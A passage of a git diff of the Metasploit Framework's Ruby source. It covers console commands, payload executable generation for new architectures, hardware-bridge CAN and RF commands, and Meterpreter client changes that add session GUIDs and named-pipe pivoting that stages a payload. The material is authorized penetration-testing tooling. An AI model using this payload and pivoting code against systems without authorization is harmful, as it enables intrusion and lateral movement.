mod_name.sub!(/^(?:\.\/)?modules\//, '') end - if mod_name.end_with?('.', '.r', '.rb') - mod_name.sub!(/\.(?:rb?)?$/, '') + if mod_name.end_with?('.rb') + mod_name.sub!(/\.rb$/, '') end begin @@ -668,7 +644,6 @@ module Msf active_module.datastore.update(@dscache[active_module.fullname]) end - @cache_payloads = nil mod.init_ui(driver.input, driver.output) # Update the command prompt @@ -680,7 +655,7 @@ module Msf # # Command to take to the previously active module # - def cmd_previous() + def cmd_previous(*args) if @previous_module self.cmd_use(@previous_module.fullname) else @@ -997,44 +972,6 @@ module Msf show_module_set("Post", framework.post, regex, minrank, opts) end - def show_options(mod) # :nodoc: - mod_opt = Serializer::ReadableText.dump_options(mod, ' ') - print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) - - # If it's an exploit and a payload is defined, create it and - # display the payload's options - if (mod.exploit? and mod.datastore['PAYLOAD']) - p = framework.payloads.create(mod.datastore['PAYLOAD']) - - if (!p) - print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n") - return - end - - p.share_datastore(mod.datastore) - - if (p) - p_opt = Serializer::ReadableText.dump_options(p, ' ') - print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) - end - end - - # Print the selected target - if (mod.exploit? and mod.target) - mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ') - print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0) - end - - # Print the selected action - if mod.kind_of?(Msf::Module::HasActions) && mod.action - mod_action = Serializer::ReadableText.dump_module_action(mod, ' ') - print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) - end - - # Uncomment this line if u want target like msf2 format - #print("\nTarget: #{mod.target.name}\n\n") - end - def show_missing(mod) # :nodoc: mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true) print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) @@ -1185,7 +1122,12 @@ module Msf end end if (opts == nil or show == true) - tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ] + tbl << [ + refname, + o.disclosure_date.nil? ? "" : o.disclosure_date.strftime("%Y-%m-%d"), + o.rank_to_s, + o.name + ] end end end @@ -1194,13 +1136,14 @@ module Msf print(tbl.to_s) end - def generate_module_table(type) # :nodoc: + def generate_module_table(type, search_term = nil) # :nodoc: Table.new( Table::Style::Default, - 'Header' => type, - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ] + 'Header' => type, + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ], + 'SearchTerm' => search_term ) end diff --git a/lib/msf/ui/console/command_dispatcher/post.rb b/lib/msf/ui/console/command_dispatcher/post.rb index 7400d6b796..e117895149 100644 --- a/lib/msf/ui/console/command_dispatcher/post.rb +++ b/lib/msf/ui/console/command_dispatcher/post.rb @@ -131,8 +131,8 @@ class Post return false end - if (jobify) - print_status("Post module running as background job") + if (jobify && mod.job_id) + print_status("Post module running as background job #{mod.job_id}.") else print_status("Post module execution completed") end diff --git a/lib/msf/ui/console/command_dispatcher/resource.rb b/lib/msf/ui/console/command_dispatcher/resource.rb index 846089c64d..b020bd743f 100644 --- a/lib/msf/ui/console/command_dispatcher/resource.rb +++ b/lib/msf/ui/console/command_dispatcher/resource.rb @@ -37,8 +37,8 @@ module Msf def cmd_resource_help print_line "Usage: resource path1 [path2 ...]" print_line - print_line "Run the commands stored in the supplied files. Resource files may also contain" - print_line "ruby code between tags." + print_line "Run the commands stored in the supplied files (- for stdin)." + print_line "Resource files may also contain ERB or Ruby code between tags." print_line print_line "See also: makerc" print_line @@ -52,21 +52,23 @@ module Msf args.each do |res| good_res = nil - if ::File.exist?(res) + if res == '-' + good_res = res + elsif ::File.exist?(res) good_res = res elsif # let's check to see if it's in the scripts/resource dir (like when tab completed) - [ - ::Msf::Config.script_directory + ::File::SEPARATOR + "resource", - ::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource" - ].each do |dir| - res_path = dir + ::File::SEPARATOR + res - if ::File.exist?(res_path) - good_res = res_path - break + [ + ::Msf::Config.script_directory + ::File::SEPARATOR + "resource", + ::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource" + ].each do |dir| + res_path = dir + ::File::SEPARATOR + res + if ::File.exist?(res_path) + good_res = res_path + break + end end end - end if good_res driver.load_resource(good_res) else diff --git a/lib/msf/util.rb b/lib/msf/util.rb index 7439f57d30..4944e330e9 100644 --- a/lib/msf/util.rb +++ b/lib/msf/util.rb @@ -21,3 +21,4 @@ end # Executable generation and encoding require 'msf/util/exe' +require 'msf/util/helper' diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 87778c2b15..ca5d147d60 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -106,7 +106,7 @@ require 'msf/core/exe/segment_appender' # @return [String] # @return [NilClass] def self.to_executable(framework, arch, plat, code = '', opts = {}) - if elf? code + if elf? code or macho? code return code end @@ -165,6 +165,14 @@ require 'msf/core/exe/segment_appender' # XXX: Add remaining ARMLE systems here end + if arch.index(ARCH_AARCH64) + if plat.index(Msf::Module::Platform::Linux) + return to_linux_aarch64_elf(framework, code) + end + + # XXX: Add remaining AARCH64 systems here + end + if arch.index(ARCH_PPC) if plat.index(Msf::Module::Platform::OSX) return to_osx_ppc_macho(framework, code) @@ -2134,6 +2142,8 @@ require 'msf/core/exe/segment_appender' to_linux_x86_elf(framework, code, exeopts) when ARCH_X64 to_linux_x64_elf(framework, code, exeopts) + when ARCH_AARCH64 + to_linux_aarch64_elf(framework, code, exeopts) when ARCH_ARMLE to_linux_armle_elf(framework, code, exeopts) when ARCH_MIPSBE @@ -2160,20 +2170,28 @@ require 'msf/core/exe/segment_appender' end if !plat || plat.index(Msf::Module::Platform::Linux) case arch + when ARCH_X86 + to_linux_x86_elf_dll(framework, code, exeopts) when ARCH_X64 to_linux_x64_elf_dll(framework, code, exeopts) + when ARCH_ARMLE + to_linux_armle_elf_dll(framework, code, exeopts) end end when 'macho', 'osx-app' - macho = case arch - when ARCH_X86,nil - to_osx_x86_macho(framework, code, exeopts) - when ARCH_X64 - to_osx_x64_macho(framework, code, exeopts) - when ARCH_ARMLE - to_osx_arm_macho(framework, code, exeopts) - when ARCH_PPC - to_osx_ppc_macho(framework, code, exeopts) + if macho? code + macho = code + else + macho = case arch + when ARCH_X86,nil + to_osx_x86_macho(framework, code, exeopts) + when ARCH_X64 + to_osx_x64_macho(framework, code, exeopts) + when ARCH_ARMLE + to_osx_arm_macho(framework, code, exeopts) + when ARCH_PPC + to_osx_ppc_macho(framework, code, exeopts) + end end fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho when 'vba' @@ -2301,6 +2319,10 @@ require 'msf/core/exe/segment_appender' code[0..3] == "\x7FELF" end + def self.macho?(code) + code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE" + end + end end end diff --git a/lib/msf/util/helper.rb b/lib/msf/util/helper.rb new file mode 100644 index 0000000000..82b72c9491 --- /dev/null +++ b/lib/msf/util/helper.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- + +module Msf +module Util +class Helper + # Cross-platform way of finding an executable in the $PATH. + # + # which('ruby') #=> /usr/bin/ruby + def self.which(cmd) + exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : [''] + ENV['PATH'].split(File::PATH_SEPARATOR).each do |path| + exts.each { |ext| + exe = File.join(path, "#{cmd}#{ext}") + return exe if File.executable?(exe) && !File.directory?(exe) + } + end + return nil + end +end +end +end diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb index 3afc328ddf..196a704d69 100755 --- a/lib/rex/google/geolocation.rb +++ b/lib/rex/google/geolocation.rb @@ -7,11 +7,12 @@ module Rex module Google # @example # g = Rex::Google::Geolocation.new + # g.set_api_key('example') # g.add_wlan("00:11:22:33:44:55", "example", -80) # g.fetch! # puts g, g.google_maps_url class Geolocation - GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + GOOGLE_API_URI = "https://www.googleapis.com/geolocation/v1/geolocate?key=" attr_accessor :accuracy attr_accessor :latitude @@ -24,20 +25,24 @@ module Rex # Ask Google's Maps API for the location of a given set of BSSIDs (MAC # addresses of access points), ESSIDs (AP names), and signal strengths. - def fetch! - @uri.query << @wlan_list.take(10).join("&wifi=") - request = Net::HTTP::Get.new(@uri.request_uri) + def fetch! + request = Net::HTTP::Post.new(@uri.request_uri) + request.body = {'wifiAccessPoints' => @wlan_list}.to_json + request['Content-Type'] = 'application/json' http = Net::HTTP.new(@uri.host, @uri.port) http.use_ssl = true response = http.request(request) + msg = "Failure connecting to Google for location lookup." if response && response.code == '200' results = JSON.parse(response.body) self.latitude = results["location"]["lat"] self.longitude = results["location"]["lng"] self.accuracy = results["accuracy"] + elsif response && response.body && response.code != '404' # we can json load and get a good error message + msg += " Code #{results['error']['code']} for query #{@uri} with error #{results['error']['message']}" + fail msg else - msg = "Failure connecting to Google for location lookup." msg += " Code #{response.code} for query #{@uri}" if response fail msg end @@ -45,15 +50,14 @@ module Rex # Add an AP to the list to send to Google when {#fetch!} is called. # - # Turns out Google's API doesn't really care about ESSID or signal strength - # as long as you have BSSIDs. Presumably adding them will make it more - # accurate? Who knows. - # # @param mac [String] in the form "00:11:22:33:44:55" - # @param ssid [String] ESSID associated with the mac # @param signal_strength [String] a thing like - def add_wlan(mac, ssid = nil, signal_strength = nil) - @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) + def add_wlan(mac, signal_strength) + @wlan_list.push({ :macAddress => mac.upcase.to_s, :signalStrength => signal_strength.to_s }) + end + + def set_api_key(key) + @uri = URI.parse(URI.encode(GOOGLE_API_URI + key)) end def google_maps_url diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb index b7fa229922..5fd451d3cd 100644 --- a/lib/rex/logging/sinks/timestamp_flatfile.rb +++ b/lib/rex/logging/sinks/timestamp_flatfile.rb @@ -13,7 +13,7 @@ class TimestampFlatfile < Flatfile def log(sev, src, level, msg, from) # :nodoc: return unless msg.present? - msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ") + msg = msg.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, ' ').gsub(/\s+$/,'') fd.write("[#{get_current_timestamp}] #{msg}\n") fd.flush end diff --git a/lib/rex/parser/arguments.rb b/lib/rex/parser/arguments.rb index b816762d64..3a029fa36d 100644 --- a/lib/rex/parser/arguments.rb +++ b/lib/rex/parser/arguments.rb @@ -43,20 +43,20 @@ module Rex next end - if arg[0] == '-' - cfs = arg[0..2] + if arg.length > 1 && arg[0] == '-' && arg[1] != '-' + arg.split('').each do |flag| + fmt.each_pair do |fmtspec, val| + next if fmtspec != "-#{flag}" - fmt.each_pair do |fmtspec, val| - next if fmtspec != cfs + param = nil - param = nil + if val[0] + param = args[idx + 1] + skip_next = true + end - if val[0] - param = args[idx + 1] - skip_next = true + yield fmtspec, idx, param end - - yield fmtspec, idx, param end else yield nil, idx, arg diff --git a/lib/rex/parser/fs/bitlocker.rb b/lib/rex/parser/fs/bitlocker.rb index 2992a0bf77..1c871d4bd6 100644 --- a/lib/rex/parser/fs/bitlocker.rb +++ b/lib/rex/parser/fs/bitlocker.rb @@ -4,7 +4,7 @@ require 'openssl/ccm' require 'metasm' ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/lib/rex/parser/nokogiri_doc_mixin.rb b/lib/rex/parser/nokogiri_doc_mixin.rb index 9e59c56061..27a3be7688 100644 --- a/lib/rex/parser/nokogiri_doc_mixin.rb +++ b/lib/rex/parser/nokogiri_doc_mixin.rb @@ -125,8 +125,6 @@ module Parser if @args[:blacklist] return false if @args[:blacklist].include?(@report_data[:host]) end - return false unless @report_data[:ports] - return false if @report_data[:ports].empty? return true end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index dac1c744ff..2c0479c9af 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -3,6 +3,7 @@ require 'msf/core/payload/uuid' require 'msf/core/payload/windows' require 'msf/core/reflective_dll_loader' require 'rex/socket/x509_certificate' +require 'securerandom' class Rex::Payloads::Meterpreter::Config @@ -50,14 +51,23 @@ private uuid = opts[:uuid].to_raw exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] + # if no session guid is given then we'll just pass the blank + # guid through. this is important for stageless payloads + if opts[:stageless] == true || opts[:null_session_guid] == true + session_guid = "\x00" * 16 + else + session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*') + end + session_data = [ 0, # comms socket, patched in by the stager exit_func, # exit function identifer opts[:expiration], # Session expiry - uuid # the UUID + uuid, # the UUID + session_guid # the Session GUID ] - session_data.pack('VVVA*') + session_data.pack('QVVA*A*') end def transport_block(opts) @@ -68,7 +78,8 @@ private lhost = "[#{lhost}]" end - url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}" + url = "#{opts[:scheme]}://#{lhost}" + url << ":#{opts[:lport]}" if opts[:lport] url << "#{opts[:uri]}/" if opts[:uri] url << "?#{opts[:scope_id]}" if opts[:scope_id] diff --git a/lib/rex/post/hwbridge/extensions/automotive/automotive.rb b/lib/rex/post/hwbridge/extensions/automotive/automotive.rb index e1dba4ae85..96e6e4a7fe 100644 --- a/lib/rex/post/hwbridge/extensions/automotive/automotive.rb +++ b/lib/rex/post/hwbridge/extensions/automotive/automotive.rb @@ -81,6 +81,18 @@ class Automotive < Extension arr.map { |b| "%02x" % (b.respond_to?("hex") ? b.hex : b ) } end + # + # Pad the end of a packet with a set byte until it is 8 bytes long + # + # @param data [Array] Packet to padd + # @param padding [Integer] Expected single byte 0x00 style argument + # @return [Array] Packet as data + def padd_packet(data, padding) + return data if padding.nil? + return data if data.size > 7 + data + [ padding ] * (8 - data.size) + end + def set_active_bus(bus) self.active_bus = bus end @@ -107,10 +119,16 @@ class Automotive < Extension # TODO: Implement sending ISO-TP > 8 bytes data = [ data ] if data.is_a? Integer if data.size < 8 + # Padding is handled differently after 0.0.3 + if Gem::Version.new(client.api_version) < Gem::Version.new('0.0.4') + data = padd_packet(data, opt['PADDING']) if opt.key? 'PADDING' + end data = array2hex(data).join request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}" request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT" request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS" + request_str += "&padding=#{opt['PADDING']}" if opt.key? "PADDING" # Won't hurt to use in older versions + request_str += "&fc=#{opt['FC']}" if opt.key? "FC" # Force flow control return check_for_errors(client.send_request(request_str)) end nil diff --git a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb index 9ef945f8d8..eae14ba6fc 100644 --- a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb +++ b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb @@ -186,6 +186,10 @@ class RFTransceiver < Extension client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}") end + def set_lowball(idx) + client.send_request("/rftransceiver/#{idx}/set_lowball") + end + def set_maxpower(idx) client.send_request("/rftransceiver/#{idx}/set_maxpower") end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb index 5f2b0928b2..961c42c3fe 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb @@ -174,6 +174,8 @@ class Console::CommandDispatcher::Automotive data = '' timeout = nil maxpackets = nil + flowcontrol = false + padding = nil cansend_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-b' => [ true, 'Target bus'], @@ -181,6 +183,8 @@ class Console::CommandDispatcher::Automotive '-R' => [ true, 'Return ID'], '-D' => [ true, 'Data packet in Hex (Do not include ISOTP command size)'], '-t' => [ true, 'Timeout value'], + '-p' => [ true, 'Padding value, none if not specified'], + '-C' => [ false, 'Force flow control'], '-m' => [ true, 'Max packets to receive'] ) cansend_opts.parse(args) do |opt, _idx, val| @@ -199,6 +203,10 @@ class Console::CommandDispatcher::Automotive data = val when '-t' timeout = val.to_i + when '-p' + padding = val + when '-C' + flowcontrol = true when '-m' maxpackets = val.to_i end @@ -224,6 +232,8 @@ class Console::CommandDispatcher::Automotive opt = {} opt['TIMEOUT'] = timeout unless timeout.nil? opt['MAXPKTS'] = maxpackets unless maxpackets.nil? + opt['PADDING'] = padding unless padding.nil? + opt['FC'] = true unless flowcontrol == false result = client.automotive.send_isotp_and_wait_for_response(bus, id, ret, bytes, opt) if result.key? 'Packets' result['Packets'].each do |pkt| @@ -269,7 +279,7 @@ class Console::CommandDispatcher::Automotive return end if id.blank? && !stop - if self.tpjobs.size.positive? + if self.tpjobs.size > 0 print_line("TesterPresent is currently active") self.tpjobs.each_index do |jid| if self.tpjobs[jid] diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb index b0c8a943b6..b514a8902a 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb @@ -185,7 +185,7 @@ class Console::CommandDispatcher::Core if mod print_line(::Msf::Serializer::ReadableText.dump_module(mod)) mod_opt = ::Msf::Serializer::ReadableText.dump_options(mod, ' ') - print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if mod_opt && mod_opt.length.positive? + print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if mod_opt && mod_opt.length > 0 end end @@ -204,7 +204,7 @@ class Console::CommandDispatcher::Core # Get the HW bridge devices status # def cmd_status(*args) - if args.length.positive? + if args.length > 0 cmd_status_help return true end @@ -235,7 +235,7 @@ class Console::CommandDispatcher::Core # Get the Hardware specialty # def cmd_specialty(*args) - if args.length.positive? + if args.length > 0 cmd_specialty_help return true end @@ -251,7 +251,7 @@ class Console::CommandDispatcher::Core # Performs a device reset or factory reset # def cmd_reset(*args) - if args.length.positive? + if args.length > 0 cmd_reset_help return end @@ -268,7 +268,7 @@ class Console::CommandDispatcher::Core # Perform a device reboot # def cmd_reboot(*args) - if args.length.positive? + if args.length > 0 cmd_reboot_help return end @@ -286,7 +286,7 @@ class Console::CommandDispatcher::Core # Loads custom methods if any exist # def cmd_load_custom_methods(*args) - if args.length.positive? + if args.length > 0 cmd_load_custom_methods_help return true end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb index f2f3b4ec26..53449512ca 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb @@ -34,6 +34,7 @@ class Console::CommandDispatcher::RFtransceiver 'deviation' => 'sets the deviation', 'sync_word' => 'sets the sync word', 'preamble' => 'sets the preamble number', + 'lowball' => 'sets lowball', 'power' => 'sets the power level', 'maxpower' => 'sets max power' } @@ -48,7 +49,7 @@ class Console::CommandDispatcher::RFtransceiver return end indexes = indexes['indexes'] - unless indexes.size.positive? + unless indexes.size > 0 print_line('none') return end @@ -528,6 +529,20 @@ class Console::CommandDispatcher::RFtransceiver print_success(r) end + def cmd_lowball_help + print_line("Lowball is frequency dependent. Set frequency first") + end + + def cmd_lowball(*args) + self.idx ||= 0 + if args.length > 0 + cmd_lowball_help + return + end + r = client.rftransceiver.set_lowball(idx) + print_success(r) + end + def cmd_maxpower_help print_line("Max power is frequency dependent. Set frequency first") end @@ -537,7 +552,7 @@ class Console::CommandDispatcher::RFtransceiver # def cmd_maxpower(*args) self.idx ||= 0 - if args.length.positive? + if args.length > 0 cmd_maxpower_help return end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb index 21cd650638..6493949bc1 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb @@ -44,7 +44,7 @@ class Console::CommandDispatcher::Zigbee return end devices = devices["devices"] - unless devices.size.positive? + unless devices.size > 0 print_line("none") return end diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 4fc92b2aa6..e17302e9d7 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -12,6 +12,8 @@ require 'rex/post/meterpreter/object_aliases' require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/packet_parser' require 'rex/post/meterpreter/packet_dispatcher' +require 'rex/post/meterpreter/pivot' +require 'rex/post/meterpreter/pivot_container' module Rex module Post @@ -35,6 +37,7 @@ class Client include Rex::Post::Meterpreter::PacketDispatcher include Rex::Post::Meterpreter::ChannelContainer + include Rex::Post::Meterpreter::PivotContainer # # Extension name to class hash. @@ -77,7 +80,7 @@ class Client # Initializes the client context with the supplied socket through # which communication with the server will be performed. # - def initialize(sock,opts={}) + def initialize(sock, opts={}) init_meterpreter(sock, opts) end @@ -85,7 +88,17 @@ class Client # Cleans up the meterpreter instance, terminating the dispatcher thread. # def cleanup_meterpreter - if not self.skip_cleanup + if self.pivot_session + self.pivot_session.remove_pivot_session(self.session_guid) + end + + self.pivot_sessions.keys.each do |k| + pivot = self.pivot_sessions[k] + pivot.pivoted_session.kill('Pivot closed') + pivot.pivoted_session.shutdown_passive_dispatcher + end + + unless self.skip_cleanup ext.aliases.each_value do | extension | extension.cleanup if extension.respond_to?( 'cleanup' ) end @@ -93,7 +106,7 @@ class Client dispatcher_thread.kill if dispatcher_thread - if not self.skip_cleanup + unless self.skip_cleanup core.shutdown rescue nil end @@ -117,11 +130,20 @@ class Client self.conn_id = opts[:conn_id] self.url = opts[:url] self.ssl = opts[:ssl] - self.expiration = opts[:expiration] - self.comm_timeout = opts[:comm_timeout] - self.retry_total = opts[:retry_total] - self.retry_wait = opts[:retry_wait] - self.passive_dispatcher = opts[:passive_dispatcher] + + self.pivot_session = opts[:pivot_session] + if self.pivot_session + self.expiration = self.pivot_session.expiration + self.comm_timeout = self.pivot_session.comm_timeout + self.retry_total = self.pivot_session.retry_total + self.retry_wait = self.pivot_session.retry_wait + else + self.expiration = opts[:expiration] + self.comm_timeout = opts[:comm_timeout] + self.retry_total = opts[:retry_total] + self.retry_wait = opts[:retry_wait] + self.passive_dispatcher = opts[:passive_dispatcher] + end self.response_timeout = opts[:timeout] || self.class.default_timeout self.send_keepalives = true @@ -130,6 +152,9 @@ class Client # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true self.encode_unicode = false + self.aes_key = nil + self.session_guid = opts[:session_guid] || "\x00" * 16 + # The SSL certificate is being passed down as a file path if opts[:ssl_cert] if ! ::File.exist? opts[:ssl_cert] @@ -140,32 +165,19 @@ class Client end end - if opts[:passive_dispatcher] - initialize_passive_dispatcher + initialize_passive_dispatcher if opts[:passive_dispatcher] - register_extension_alias('core', ClientCore.new(self)) + register_extension_alias('core', ClientCore.new(self)) - initialize_inbound_handlers - initialize_channels + initialize_inbound_handlers + initialize_channels + initialize_pivots - # Register the channel inbound packet handler - register_inbound_handler(Rex::Post::Meterpreter::Channel) - else - # Switch the socket to SSL mode and receive the hello if needed - if capabilities[:ssl] and not opts[:skip_ssl] - swap_sock_plain_to_ssl() - end + # Register the channel and pivot inbound packet handlers + register_inbound_handler(Rex::Post::Meterpreter::Channel) + register_inbound_handler(Rex::Post::Meterpreter::Pivot) - register_extension_alias('core', ClientCore.new(self)) - - initialize_inbound_handlers - initialize_channels - - # Register the channel inbound packet handler - register_inbound_handler(Rex::Post::Meterpreter::Channel) - - monitor_socket - end + monitor_socket end def swap_sock_plain_to_ssl @@ -475,6 +487,10 @@ class Client # attr_accessor :passive_dispatcher # + # Reference to a session to pivot through + # + attr_accessor :pivot_session + # # Flag indicating whether to hex-encode UTF-8 file names and other strings # attr_accessor :encode_unicode diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 2f7c231e60..69d509ef89 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -3,6 +3,7 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/extension' require 'rex/post/meterpreter/client' +require 'msf/core/payload/transport_config' # Used to generate a reflective DLL when migrating. This is yet another # argument for moving the meterpreter client into the Msf namespace. @@ -17,6 +18,8 @@ require 'rex/payloads/meterpreter/uri_checksum' # certificate hash checking require 'rex/socket/x509_certificate' +require 'openssl' + module Rex module Post module Meterpreter @@ -31,24 +34,12 @@ module Meterpreter ### class ClientCore < Extension - UNIX_PATH_MAX = 108 - DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock" - - METERPRETER_TRANSPORT_SSL = 0 - METERPRETER_TRANSPORT_HTTP = 1 - METERPRETER_TRANSPORT_HTTPS = 2 - - TIMEOUT_SESSION = 24*3600*7 # 1 week - TIMEOUT_COMMS = 300 # 5 minutes - TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour - TIMEOUT_RETRY_WAIT = 10 # 10 seconds - - VALID_TRANSPORTS = { - 'reverse_tcp' => METERPRETER_TRANSPORT_SSL, - 'reverse_http' => METERPRETER_TRANSPORT_HTTP, - 'reverse_https' => METERPRETER_TRANSPORT_HTTPS, - 'bind_tcp' => METERPRETER_TRANSPORT_SSL - } + VALID_TRANSPORTS = [ + 'reverse_tcp', + 'reverse_http', + 'reverse_https', + 'bind_tcp' + ] include Rex::Payloads::Meterpreter::UriChecksum @@ -65,6 +56,44 @@ class ClientCore < Extension # ## + # + # create a named pipe pivot + # + def create_named_pipe_pivot(opts) + request = Packet.create_request('core_pivot_add') + request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name]) + + + c = Class.new(::Msf::Payload) + c.include(::Msf::Payload::Stager) + c.include(::Msf::Payload::TransportConfig) + + # Include the appropriate reflective dll injection module for the target process architecture... + if opts[:arch] == ARCH_X86 + c.include(::Msf::Payload::Windows::MeterpreterLoader) + elsif opts[:arch] == ARCH_X64 + c.include(::Msf::Payload::Windows::MeterpreterLoader_x64) + end + + stage_opts = { + force_write_handle: true, + datastore: { + 'PIPEHOST' => opts[:pipe_host], + 'PIPENAME' => opts[:pipe_name] + } + } + + stager = c.new() + + stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)] + stage = stager.stage_payload(stage_opts) + + request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage) + request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length) + + response = self.client.send_request(request) + end + # # Get a list of loaded commands for the given extension. # @@ -125,6 +154,9 @@ class ClientCore < Extension result end + # + # Set associated transport timeouts for the currently active transport. + # def set_transport_timeouts(opts={}) request = Packet.create_request('core_transport_set_timeouts') @@ -207,7 +239,7 @@ class ClientCore < Extension image = f.read } - if !image.nil? + if image request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib]) else raise RuntimeError, "Failed to serialize library #{library_path}.", caller @@ -298,6 +330,9 @@ class ClientCore < Extension return true end + # + # Set the UUID on the target session. + # def set_uuid(uuid) request = Packet.create_request('core_set_uuid') request.add_tlv(TLV_TYPE_UUID, uuid.to_raw) @@ -307,10 +342,39 @@ class ClientCore < Extension true end + # + # Set the session GUID on the target session. + # + def set_session_guid(guid) + request = Packet.create_request('core_set_session_guid') + request.add_tlv(TLV_TYPE_SESSION_GUID, guid) + + client.send_request(request) + + true + end + + # + # Get the session GUID from the target session. + # + def get_session_guid(timeout=nil) + request = Packet.create_request('core_get_session_guid') + + args = [request] + args << timeout if timeout + + response = client.send_request(*args) + + response.get_tlv_value(TLV_TYPE_SESSION_GUID) + end + + # + # Get the machine ID from the target session. + # def machine_id(timeout=nil) request = Packet.create_request('core_machine_id') - args = [ request ] + args = [request] args << timeout if timeout response = client.send_request(*args) @@ -325,6 +389,9 @@ class ClientCore < Extension Rex::Text.md5(mid.to_s.downcase.strip) end + # + # Get the current native arch from the target session. + # def native_arch(timeout=nil) # Not all meterpreter implementations support this request = Packet.create_request('core_native_arch') @@ -337,6 +404,9 @@ class ClientCore < Extension response.get_tlv_value(TLV_TYPE_STRING) end + # + # Remove a transport from the session based on the provided options. + # def transport_remove(opts={}) request = transport_prepare_request('core_transport_remove', opts) @@ -347,6 +417,9 @@ class ClientCore < Extension return true end + # + # Add a transport to the session based on the provided options. + # def transport_add(opts={}) request = transport_prepare_request('core_transport_add', opts) @@ -357,6 +430,9 @@ class ClientCore < Extension return true end + # + # Change the currently active transport on the session. + # def transport_change(opts={}) request = 